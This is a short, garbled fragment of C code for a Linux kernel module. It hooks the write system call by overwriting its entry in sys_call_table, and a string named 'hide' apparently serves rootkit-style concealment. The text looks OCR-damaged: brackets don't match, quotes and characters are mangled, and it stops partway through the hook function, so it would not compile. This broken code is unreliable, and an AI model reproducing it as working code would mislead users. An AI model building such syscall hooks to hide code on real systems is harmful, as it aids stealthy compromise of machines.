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int init_module()
{

orig_sys_write=sys_call_table[__NR_write};

sys_call_table[__NR_write]=sec_sys_write;
}
void cleanup_module()
{

sys_call_table[_ NR_writel=orig_sys_write;
}
int sec_sys_write()
{

char hide[]=”sec_modulé”;
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